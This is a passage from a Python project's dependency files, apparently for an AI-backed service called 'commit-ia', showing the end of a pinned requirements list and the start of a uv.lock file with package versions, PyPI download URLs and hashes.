109 | # proto-plus
110 | pyasn1==0.6.1
111 | # via
112 | # pyasn1-modules
113 | # rsa
114 | pyasn1-modules==0.4.2
115 | # via google-auth
116 | pydantic==2.11.3
117 | # via
118 | # fastapi
119 | # google-genai
120 | # langchain
121 | # langchain-core
122 | # langchain-google-genai
123 | # langsmith
124 | # openai
125 | # pydantic-settings
126 | pydantic-core==2.33.1
127 | # via pydantic
128 | pydantic-settings==2.8.1
129 | # via commit-ia (pyproject.toml)
130 | python-dotenv==1.1.0
131 | # via pydantic-settings
132 | pyyaml==6.0.2
133 | # via
134 | # langchain
135 | # langchain-core
136 | regex==2024.11.6
137 | # via tiktoken
138 | requests==2.32.3
139 | # via
140 | # google-api-core
141 | # google-genai
142 | # langchain
143 | # langsmith
144 | # requests-toolbelt
145 | # tiktoken
146 | requests-toolbelt==1.0.0
147 | # via langsmith
148 | rsa==4.9.1
149 | # via google-auth
150 | sniffio==1.3.1
151 | # via
152 | # anyio
153 | # openai
154 | sqlalchemy==2.0.40
155 | # via langchain
156 | starlette==0.46.2
157 | # via fastapi
158 | tenacity==9.1.2
159 | # via langchain-core
160 | tiktoken==0.9.0
161 | # via langchain-openai
162 | tqdm==4.67.1
163 | # via openai
164 | typing-extensions==4.13.2
165 | # via
166 | # fastapi
167 | # google-genai
168 | # langchain-core
169 | # openai
170 | # pydantic
171 | # pydantic-core
172 | # sqlalchemy
173 | # typing-inspection
174 | typing-inspection==0.4.0
175 | # via pydantic
176 | urllib3==2.4.0
177 | # via requests
178 | uvicorn==0.34.1
179 | # via commit-ia (pyproject.toml)
180 | websockets==15.0.1
181 | # via google-genai
182 | zstandard==0.23.0
183 | # via langsmith
184 |
--------------------------------------------------------------------------------
/bot/uv.lock:
--------------------------------------------------------------------------------
1 | version = 1
2 | revision = 1
3 | requires-python = ">=3.13"
4 |
5 | [[package]]
6 | name = "annotated-types"
7 | version = "0.7.0"
8 | source = { registry = "https://pypi.org/simple" }
9 | sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081 }
10 | wheels = [
11 | { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643 },
12 | ]
13 |
14 | [[package]]
15 | name = "anyio"
16 | version = "4.9.0"
17 | source = { registry = "https://pypi.org/simple" }
18 | dependencies = [
19 | { name = "idna" },
20 | { name = "sniffio" },
21 | ]
22 | sdist = { url = "https://files.pythonhosted.org/packages/95/7d/4c1bd541d4dffa1b52bd83fb8527089e097a106fc90b467a7313b105f840/anyio-4.9.0.tar.gz", hash = "sha256:673c0c244e15788651a4ff38710fea9675823028a6f08a5eda409e0c9840a028", size = 190949 }
23 | wheels = [
24 | { url = "https://files.pythonhosted.org/packages/a1/ee/48ca1a7c89ffec8b6a0c5d02b89c305671d5ffd8d3c94acf8b8c408575bb/anyio-4.9.0-py3-none-any.whl", hash = "sha256:9f76d541cad6e36af7beb62e978876f3b41e3e04f2c1fbf0884604c0a9c4d93c", size = 100916 },
25 | ]
26 |
27 | [[package]]
28 | name = "cachetools"
29 | version = "5.5.2"
30 | source = { registry = "https://pypi.org/simple" }
31 | sdist = { url = "https://files.pythonhosted.org/packages/6c/81/3747dad6b14fa2cf53fcf10548cf5aea6913e96fab41a3c198676f8948a5/cachetools-5.5.2.tar.gz", hash = "sha256:1a661caa9175d26759571b2e19580f9d6393969e5dfca11fdb1f947a23e640d4", size = 28380 }
32 | wheels = [
33 | { url = "https://files.pythonhosted.org/packages/72/76/20fa66124dbe6be5cafeb312ece67de6b61dd91a0247d1ea13db4ebb33c2/cachetools-5.5.2-py3-none-any.whl", hash = "sha256:d26a22bcc62eb95c3beabd9f1ee5e820d3d2704fe2967cbe350e20c8ffcd3f0a", size = 10080 },
34 | ]
35 |
36 | [[package]]
37 | name = "certifi"
38 | version = "2025.1.31"
39 | source = { registry = "https://pypi.org/simple" }
40 | sdist = { url = "https://files.pythonhosted.org/packages/1c/ab/c9f1e32b7b1bf505bf26f0ef697775960db7932abeb7b516de930ba2705f/certifi-2025.1.31.tar.gz", hash = "sha256:3d5da6925056f6f18f119200434a4780a94263f10d1c21d032a6f6b2baa20651", size = 167577 }
41 | wheels = [
42 | { url = "https://files.pythonhosted.org/packages/38/fc/bce832fd4fd99766c04d1ee0eead6b0ec6486fb100ae5e74c1d91292b982/certifi-2025.1.31-py3-none-any.whl", hash = "sha256:ca78db4565a652026a4db2bcdf68f2fb589ea80d0be70e03929ed730746b84fe", size = 166393 },
43 | ]
44 |
45 | [[package]]
46 | name = "cffi"
47 | version = "1.17.1"
48 | source = { registry = "https://pypi.org/simple" }
49 | dependencies = [
50 | { name = "pycparser" },
51 | ]
52 | sdist = { url = "https://files.pythonhosted.org/packages/fc/97/c783634659c2920c3fc70419e3af40972dbaf758daa229a7d6ea6135c90d/cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824", size = 516621 }
53 | wheels = [
54 | { url = "https://files.pythonhosted.org/packages/8d/f8/dd6c246b148639254dad4d6803eb6a54e8c85c6e11ec9df2cffa87571dbe/cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e", size = 182989 },
55 | { url = "https://files.pythonhosted.org/packages/8b/f1/672d303ddf17c24fc83afd712316fda78dc6fce1cd53011b839483e1ecc8/cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2", size = 178802 },
56 | { url = "https://files.pythonhosted.org/packages/0e/2d/eab2e858a91fdff70533cab61dcff4a1f55ec60425832ddfdc9cd36bc8af/cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3", size = 454792 },
57 | { url = "https://files.pythonhosted.org/packages/75/b2/fbaec7c4455c604e29388d55599b99ebcc250a60050610fadde58932b7ee/cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683", size = 478893 },
58 | { url = "https://files.pythonhosted.org/packages/4f/b7/6e4a2162178bf1935c336d4da8a9352cccab4d3a5d7914065490f08c0690/cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5", size = 485810 },
59 | { url = "https://files.pythonhosted.org/packages/c7/8a/1d0e4a9c26e54746dc08c2c6c037889124d4f59dffd853a659fa545f1b40/cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4", size = 471200 },
60 | { url = "https://files.pythonhosted.org/packages/26/9f/1aab65a6c0db35f43c4d1b4f580e8df53914310afc10ae0397d29d697af4/cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd", size = 479447 },
61 | { url = "https://files.pythonhosted.org/packages/5f/e4/fb8b3dd8dc0e98edf1135ff067ae070bb32ef9d509d6cb0f538cd6f7483f/cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed", size = 484358 },
62 | { url = "https://files.pythonhosted.org/packages/f1/47/d7145bf2dc04684935d57d67dff9d6d795b2ba2796806bb109864be3a151/cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9", size = 488469 },
63 | { url = "https://files.pythonhosted.org/packages/bf/ee/f94057fa6426481d663b88637a9a10e859e492c73d0384514a17d78ee205/cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d", size = 172475 },
64 | { url = "https://files.pythonhosted.org/packages/7c/fc/6a8cb64e5f0324877d503c854da15d76c1e50eb722e320b15345c4d0c6de/cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a", size = 182009 },
65 | ]
66 |
67 | [[package]]
68 | name = "charset-normalizer"
69 | version = "3.4.1"
70 | source = { registry = "https://pypi.org/simple" }
71 | sdist = { url = "https://files.pythonhosted.org/packages/16/b0/572805e227f01586461c80e0fd25d65a2115599cc9dad142fee4b747c357/charset_normalizer-3.4.1.tar.gz", hash = "sha256:44251f18cd68a75b56585dd00dae26183e102cd5e0f9f1466e6df5da2ed64ea3", size = 123188 }
72 | wheels = [
73 | { url = "https://files.pythonhosted.org/packages/38/94/ce8e6f63d18049672c76d07d119304e1e2d7c6098f0841b51c666e9f44a0/charset_normalizer-3.4.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:aabfa34badd18f1da5ec1bc2715cadc8dca465868a4e73a0173466b688f29dda", size = 195698 },
74 | { url = "https://files.pythonhosted.org/packages/24/2e/dfdd9770664aae179a96561cc6952ff08f9a8cd09a908f259a9dfa063568/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22e14b5d70560b8dd51ec22863f370d1e595ac3d024cb8ad7d308b4cd95f8313", size = 140162 },
75 | { url = "https://files.pythonhosted.org/packages/24/4e/f646b9093cff8fc86f2d60af2de4dc17c759de9d554f130b140ea4738ca6/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8436c508b408b82d87dc5f62496973a1805cd46727c34440b0d29d8a2f50a6c9", size = 150263 },
76 | { url = "https://files.pythonhosted.org/packages/5e/67/2937f8d548c3ef6e2f9aab0f6e21001056f692d43282b165e7c56023e6dd/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d074908e1aecee37a7635990b2c6d504cd4766c7bc9fc86d63f9c09af3fa11b", size = 142966 },
77 | { url = "https://files.pythonhosted.org/packages/52/ed/b7f4f07de100bdb95c1756d3a4d17b90c1a3c53715c1a476f8738058e0fa/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:955f8851919303c92343d2f66165294848d57e9bba6cf6e3625485a70a038d11", size = 144992 },
78 | { url = "https://files.pythonhosted.org/packages/96/2c/d49710a6dbcd3776265f4c923bb73ebe83933dfbaa841c5da850fe0fd20b/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:44ecbf16649486d4aebafeaa7ec4c9fed8b88101f4dd612dcaf65d5e815f837f", size = 147162 },
79 | { url = "https://files.pythonhosted.org/packages/b4/41/35ff1f9a6bd380303dea55e44c4933b4cc3c4850988927d4082ada230273/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0924e81d3d5e70f8126529951dac65c1010cdf117bb75eb02dd12339b57749dd", size = 140972 },
80 | { url = "https://files.pythonhosted.org/packages/fb/43/c6a0b685fe6910d08ba971f62cd9c3e862a85770395ba5d9cad4fede33ab/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2967f74ad52c3b98de4c3b32e1a44e32975e008a9cd2a8cc8966d6a5218c5cb2", size = 149095 },
81 | { url = "https://files.pythonhosted.org/packages/4c/ff/a9a504662452e2d2878512115638966e75633519ec11f25fca3d2049a94a/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c75cb2a3e389853835e84a2d8fb2b81a10645b503eca9bcb98df6b5a43eb8886", size = 152668 },
82 | { url = "https://files.pythonhosted.org/packages/6c/71/189996b6d9a4b932564701628af5cee6716733e9165af1d5e1b285c530ed/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09b26ae6b1abf0d27570633b2b078a2a20419c99d66fb2823173d73f188ce601", size = 150073 },
83 | { url = "https://files.pythonhosted.org/packages/e4/93/946a86ce20790e11312c87c75ba68d5f6ad2208cfb52b2d6a2c32840d922/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa88b843d6e211393a37219e6a1c1df99d35e8fd90446f1118f4216e307e48cd", size = 145732 },
84 | { url = "https://files.pythonhosted.org/packages/cd/e5/131d2fb1b0dddafc37be4f3a2fa79aa4c037368be9423061dccadfd90091/charset_normalizer-3.4.1-cp313-cp313-win32.whl", hash = "sha256:eb8178fe3dba6450a3e024e95ac49ed3400e506fd4e9e5c32d30adda88cbd407", size = 95391 },
85 | { url = "https://files.pythonhosted.org/packages/27/f2/4f9a69cc7712b9b5ad8fdb87039fd89abba997ad5cbe690d1835d40405b0/charset_normalizer-3.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:b1ac5992a838106edb89654e0aebfc24f5848ae2547d22c2c3f66454daa11971", size = 102702 },
86 | { url = "https://files.pythonhosted.org/packages/0e/f6/65ecc6878a89bb1c23a086ea335ad4bf21a588990c3f535a227b9eea9108/charset_normalizer-3.4.1-py3-none-any.whl", hash = "sha256:d98b1668f06378c6dbefec3b92299716b931cd4e6061f3c875a71ced1780ab85", size = 49767 },
87 | ]
88 |
89 | [[package]]
90 | name = "click"
91 | version = "8.1.8"
92 | source = { registry = "https://pypi.org/simple" }
93 | dependencies = [
94 | { name = "colorama", marker = "sys_platform == 'win32'" },
95 | ]
96 | sdist = { url = "https://files.pythonhosted.org/packages/b9/2e/0090cbf739cee7d23781ad4b89a9894a41538e4fcf4c31dcdd705b78eb8b/click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a", size = 226593 }
97 | wheels = [
98 | { url = "https://files.pythonhosted.org/packages/7e/d4/7ebdbd03970677812aac39c869717059dbb71a4cfc033ca6e5221787892c/click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2", size = 98188 },
99 | ]
100 |
101 | [[package]]
102 | name = "colorama"
103 | version = "0.4.6"
104 | source = { registry = "https://pypi.org/simple" }
105 | sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697 }
106 | wheels = [
107 | { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335 },
108 | ]
109 |
110 | [[package]]
111 | name = "commit-ia"
112 | version = "0.1.0"
113 | source = { virtual = "." }
114 | dependencies = [
115 | { name = "fastapi" },
116 | { name = "google-genai" },
117 | { name = "langchain" },
118 | { name = "langchain-google-genai" },
119 | { name = "langchain-openai" },
120 | { name = "pydantic-settings" },
121 | { name = "uvicorn" },
122 | ]
123 |
124 | [package.metadata]
125 | requires-dist = [
126 | { name = "fastapi", specifier = ">=0.115.12" },
127 | { name = "google-genai", specifier = ">=1.11.0" },
128 | { name = "langchain", specifier = ">=0.3.23" },
129 | { name = "langchain-google-genai", specifier = ">=2.1.3" },
130 | { name = "langchain-openai", specifier = ">=0.3.13" },
131 | { name = "pydantic-settings", specifier = ">=2.8.1" },
132 | { name = "uvicorn", specifier = ">=0.34.1" },
133 | ]
134 |
135 | [[package]]
136 | name = "distro"
137 | version = "1.9.0"
138 | source = { registry = "https://pypi.org/simple" }
139 | sdist = { url = "https://files.pythonhosted.org/packages/fc/f8/98eea607f65de6527f8a2e8885fc8015d3e6f5775df186e443e0964a11c3/distro-1.9.0.tar.gz", hash = "sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed", size = 60722 }
140 | wheels = [
141 | { url = "https://files.pythonhosted.org/packages/12/b3/231ffd4ab1fc9d679809f356cebee130ac7daa00d6d6f3206dd4fd137e9e/distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2", size = 20277 },
142 | ]
143 |
144 | [[package]]
145 | name = "fastapi"
146 | version = "0.115.12"
147 | source = { registry = "https://pypi.org/simple" }
148 | dependencies = [
149 | { name = "pydantic" },
150 | { name = "starlette" },
151 | { name = "typing-extensions" },
152 | ]
153 | sdist = { url = "https://files.pythonhosted.org/packages/f4/55/ae499352d82338331ca1e28c7f4a63bfd09479b16395dce38cf50a39e2c2/fastapi-0.115.12.tar.gz", hash = "sha256:1e2c2a2646905f9e83d32f04a3f86aff4a286669c6c950ca95b5fd68c2602681", size = 295236 }
154 | wheels = [
155 | { url = "https://files.pythonhosted.org/packages/50/b3/b51f09c2ba432a576fe63758bddc81f78f0c6309d9e5c10d194313bf021e/fastapi-0.115.12-py3-none-any.whl", hash = "sha256:e94613d6c05e27be7ffebdd6ea5f388112e5e430c8f7d6494a9d1d88d43e814d", size = 95164 },
156 | ]
157 |
158 | [[package]]
159 | name = "filetype"
160 | version = "1.2.0"
161 | source = { registry = "https://pypi.org/simple" }
162 | sdist = { url = "https://files.pythonhosted.org/packages/bb/29/745f7d30d47fe0f251d3ad3dc2978a23141917661998763bebb6da007eb1/filetype-1.2.0.tar.gz", hash = "sha256:66b56cd6474bf41d8c54660347d37afcc3f7d1970648de365c102ef77548aadb", size = 998020 }
163 | wheels = [
164 | { url = "https://files.pythonhosted.org/packages/18/79/1b8fa1bb3568781e84c9200f951c735f3f157429f44be0495da55894d620/filetype-1.2.0-py2.py3-none-any.whl", hash = "sha256:7ce71b6880181241cf7ac8697a2f1eb6a8bd9b429f7ad6d27b8db9ba5f1c2d25", size = 19970 },
165 | ]
166 |
167 | [[package]]
168 | name = "google-ai-generativelanguage"
169 | version = "0.6.17"
170 | source = { registry = "https://pypi.org/simple" }
171 | dependencies = [
172 | { name = "google-api-core", extra = ["grpc"] },
173 | { name = "google-auth" },
174 | { name = "proto-plus" },
175 | { name = "protobuf" },
176 | ]
177 | sdist = { url = "https://files.pythonhosted.org/packages/e6/aa/809e7de6af007e36d456d9a5361250bc906a3f3a6dfc9babebb0de146641/google_ai_generativelanguage-0.6.17.tar.gz", hash = "sha256:8439503503aba6c85b3871504f490bbc66be854031d8bb4d5ac95d3ca2173f38", size = 1423814 }
178 | wheels = [
179 | { url = "https://files.pythonhosted.org/packages/e7/ae/1c1553aea9209db84ed8c0b2f8d2dd3feb146290fdae5988b54ee71b5c9d/google_ai_generativelanguage-0.6.17-py3-none-any.whl", hash = "sha256:1aedc8df9bf27c9b6b7e0a70944a29a3db2e7a34bfc0cc8e0ca54a84d361a8a1", size = 1356577 },
180 | ]
181 |
182 | [[package]]
183 | name = "google-api-core"
184 | version = "2.24.2"
185 | source = { registry = "https://pypi.org/simple" }
186 | dependencies = [
187 | { name = "google-auth" },
188 | { name = "googleapis-common-protos" },
189 | { name = "proto-plus" },
190 | { name = "protobuf" },
191 | { name = "requests" },
192 | ]
193 | sdist = { url = "https://files.pythonhosted.org/packages/09/5c/085bcb872556934bb119e5e09de54daa07873f6866b8f0303c49e72287f7/google_api_core-2.24.2.tar.gz", hash = "sha256:81718493daf06d96d6bc76a91c23874dbf2fac0adbbf542831b805ee6e974696", size = 163516 }
194 | wheels = [
195 | { url = "https://files.pythonhosted.org/packages/46/95/f472d85adab6e538da2025dfca9e976a0d125cc0af2301f190e77b76e51c/google_api_core-2.24.2-py3-none-any.whl", hash = "sha256:810a63ac95f3c441b7c0e43d344e372887f62ce9071ba972eacf32672e072de9", size = 160061 },
196 | ]
197 |
198 | [package.optional-dependencies]
199 | grpc = [
200 | { name = "grpcio" },
201 | { name = "grpcio-status" },
202 | ]
203 |
204 | [[package]]
205 | name = "google-auth"
206 | version = "2.39.0"
207 | source = { registry = "https://pypi.org/simple" }
208 | dependencies = [
209 | { name = "cachetools" },
210 | { name = "pyasn1-modules" },
211 | { name = "rsa" },
212 | ]
213 | sdist = { url = "https://files.pythonhosted.org/packages/cb/8e/8f45c9a32f73e786e954b8f9761c61422955d23c45d1e8c347f9b4b59e8e/google_auth-2.39.0.tar.gz", hash = "sha256:73222d43cdc35a3aeacbfdcaf73142a97839f10de930550d89ebfe1d0a00cde7", size = 274834 }
214 | wheels = [
215 | { url = "https://files.pythonhosted.org/packages/ce/12/ad37a1ef86006d0a0117fc06a4a00bd461c775356b534b425f00dde208ea/google_auth-2.39.0-py2.py3-none-any.whl", hash = "sha256:0150b6711e97fb9f52fe599f55648950cc4540015565d8fbb31be2ad6e1548a2", size = 212319 },
216 | ]
217 |
218 | [[package]]
219 | name = "google-genai"
220 | version = "1.11.0"
221 | source = { registry = "https://pypi.org/simple" }
222 | dependencies = [
223 | { name = "anyio" },
224 | { name = "google-auth" },
225 | { name = "httpx" },
226 | { name = "pydantic" },
227 | { name = "requests" },
228 | { name = "typing-extensions" },
229 | { name = "websockets" },
230 | ]
231 | sdist = { url = "https://files.pythonhosted.org/packages/73/44/64c6c23724580add879cbcca81ffed500955c1c21850468cd4dcf9c62a03/google_genai-1.11.0.tar.gz", hash = "sha256:0643b2f5373fbeae945d0cd5a37d157eab0c172bb5e14e905f2f8d45aa51cabb", size = 160955 }
232 | wheels = [
233 | { url = "https://files.pythonhosted.org/packages/dc/9b/55f97203720cbda5a1c8e0460793914980e41c6ca4859fea735dd66d2c3a/google_genai-1.11.0-py3-none-any.whl", hash = "sha256:34fbe3c85419adbcddcb8222f99514596b3a69c80ff1a4ae30a01a763da27acc", size = 159687 },
234 | ]
235 |
236 | [[package]]
237 | name = "googleapis-common-protos"
238 | version = "1.70.0"
239 | source = { registry = "https://pypi.org/simple" }
240 | dependencies = [
241 | { name = "protobuf" },
242 | ]
243 | sdist = { url = "https://files.pythonhosted.org/packages/39/24/33db22342cf4a2ea27c9955e6713140fedd51e8b141b5ce5260897020f1a/googleapis_common_protos-1.70.0.tar.gz", hash = "sha256:0e1b44e0ea153e6594f9f394fef15193a68aaaea2d843f83e2742717ca753257", size = 145903 }
244 | wheels = [
245 | { url = "https://files.pythonhosted.org/packages/86/f1/62a193f0227cf15a920390abe675f386dec35f7ae3ffe6da582d3ade42c7/googleapis_common_protos-1.70.0-py3-none-any.whl", hash = "sha256:b8bfcca8c25a2bb253e0e0b0adaf8c00773e5e6af6fd92397576680b807e0fd8", size = 294530 },
246 | ]
247 |
248 | [[package]]
249 | name = "greenlet"
250 | version = "3.2.0"
251 | source = { registry = "https://pypi.org/simple" }
252 | sdist = { url = "https://files.pythonhosted.org/packages/b0/9c/666d8c71b18d0189cf801c0e0b31c4bfc609ac823883286045b1f3ae8994/greenlet-3.2.0.tar.gz", hash = "sha256:1d2d43bd711a43db8d9b9187500e6432ddb4fafe112d082ffabca8660a9e01a7", size = 183685 }
253 | wheels = [
254 | { url = "https://files.pythonhosted.org/packages/c9/43/c0b655d4d7eae19282b028bcec449e5c80626ad0d8d0ca3703f9b1c29258/greenlet-3.2.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:b86a3ccc865ae601f446af042707b749eebc297928ea7bd0c5f60c56525850be", size = 269131 },
255 | { url = "https://files.pythonhosted.org/packages/7c/7d/c8f51c373c7f7ac0f73d04a6fd77ab34f6f643cb41a0d186d05ba96708e7/greenlet-3.2.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:144283ad88ed77f3ebd74710dd419b55dd15d18704b0ae05935766a93f5671c5", size = 637323 },
256 | { url = "https://files.pythonhosted.org/packages/89/65/c3ee41b2e56586737d6e124b250583695628ffa6b324855b3a1267a8d1d9/greenlet-3.2.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5be69cd50994b8465c3ad1467f9e63001f76e53a89440ad4440d1b6d52591280", size = 651430 },
257 | { url = "https://files.pythonhosted.org/packages/f0/07/33bd7a3dcde1db7259371d026ce76be1eb653d2d892334fc79a500b3c5ee/greenlet-3.2.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:47aeadd1e8fbdef8fdceb8fb4edc0cbb398a57568d56fd68f2bc00d0d809e6b6", size = 645798 },
258 | { url = "https://files.pythonhosted.org/packages/35/5b/33c221a6a867030b0b770513a1b78f6c30e04294131dafdc8da78906bbe6/greenlet-3.2.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18adc14ab154ca6e53eecc9dc50ff17aeb7ba70b7e14779b26e16d71efa90038", size = 648271 },
259 | { url = "https://files.pythonhosted.org/packages/4d/dd/d6452248fa6093504e3b7525dc2bdc4e55a4296ec6ee74ba241a51d852e2/greenlet-3.2.0-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8622b33d8694ec373ad55050c3d4e49818132b44852158442e1931bb02af336", size = 606779 },
260 | { url = "https://files.pythonhosted.org/packages/9d/24/160f04d2589bcb15b8661dcd1763437b22e01643626899a4139bf98f02af/greenlet-3.2.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:e8ac9a2c20fbff3d0b853e9ef705cdedb70d9276af977d1ec1cde86a87a4c821", size = 1117968 },
261 | { url = "https://files.pythonhosted.org/packages/6c/ff/c6e3f3a5168fef5209cfd9498b2b5dd77a0bf29dfc686a03dcc614cf4432/greenlet-3.2.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:cd37273dc7ca1d5da149b58c8b3ce0711181672ba1b09969663905a765affe21", size = 1145510 },
262 | { url = "https://files.pythonhosted.org/packages/dc/62/5215e374819052e542b5bde06bd7d4a171454b6938c96a2384f21cb94279/greenlet-3.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:8a8940a8d301828acd8b9f3f85db23069a692ff2933358861b19936e29946b95", size = 296004 },
263 | { url = "https://files.pythonhosted.org/packages/62/6d/dc9c909cba5cbf4b0833fce69912927a8ca74791c23c47b9fd4f28092108/greenlet-3.2.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee59db626760f1ca8da697a086454210d36a19f7abecc9922a2374c04b47735b", size = 629900 },
264 | { url = "https://files.pythonhosted.org/packages/5e/a9/f3f304fbbbd604858ff3df303d7fa1d8f7f9e45a6ef74481aaf03aaac021/greenlet-3.2.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7154b13ef87a8b62fc05419f12d75532d7783586ad016c57b5de8a1c6feeb517", size = 635270 },
265 | { url = "https://files.pythonhosted.org/packages/34/92/4b7b4e2e23ecc723cceef9fe3898e78c8e14e106cc7ba2f276a66161da3e/greenlet-3.2.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:199453d64b02d0c9d139e36d29681efd0e407ed8e2c0bf89d88878d6a787c28f", size = 632534 },
266 | { url = "https://files.pythonhosted.org/packages/da/7f/91f0ecbe72c9d789fb7f400b39da9d1e87fcc2cf8746a9636479ba79ab01/greenlet-3.2.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0010e928e1901d36625f21d008618273f9dda26b516dbdecf873937d39c9dff0", size = 628826 },
267 | { url = "https://files.pythonhosted.org/packages/9f/59/e449a44ce52b13751f55376d85adc155dd311608f6d2aa5b6bd2c8d15486/greenlet-3.2.0-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6005f7a86de836a1dc4b8d824a2339cdd5a1ca7cb1af55ea92575401f9952f4c", size = 593697 },
268 | { url = "https://files.pythonhosted.org/packages/bb/09/cca3392927c5c990b7a8ede64ccd0712808438d6490d63ce6b8704d6df5f/greenlet-3.2.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:17fd241c0d50bacb7ce8ff77a30f94a2d0ca69434ba2e0187cf95a5414aeb7e1", size = 1105762 },
269 | { url = "https://files.pythonhosted.org/packages/4d/b9/3d201f819afc3b7a8cd7ebe645f1a17799603e2d62c968154518f79f4881/greenlet-3.2.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:7b17a26abc6a1890bf77d5d6b71c0999705386b00060d15c10b8182679ff2790", size = 1125173 },
270 | { url = "https://files.pythonhosted.org/packages/80/7b/773a30602234597fc2882091f8e1d1a38ea0b4419d99ca7ed82c827e2c3a/greenlet-3.2.0-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:397b6bbda06f8fe895893d96218cd6f6d855a6701dc45012ebe12262423cec8b", size = 269908 },
271 | ]
272 |
273 | [[package]]
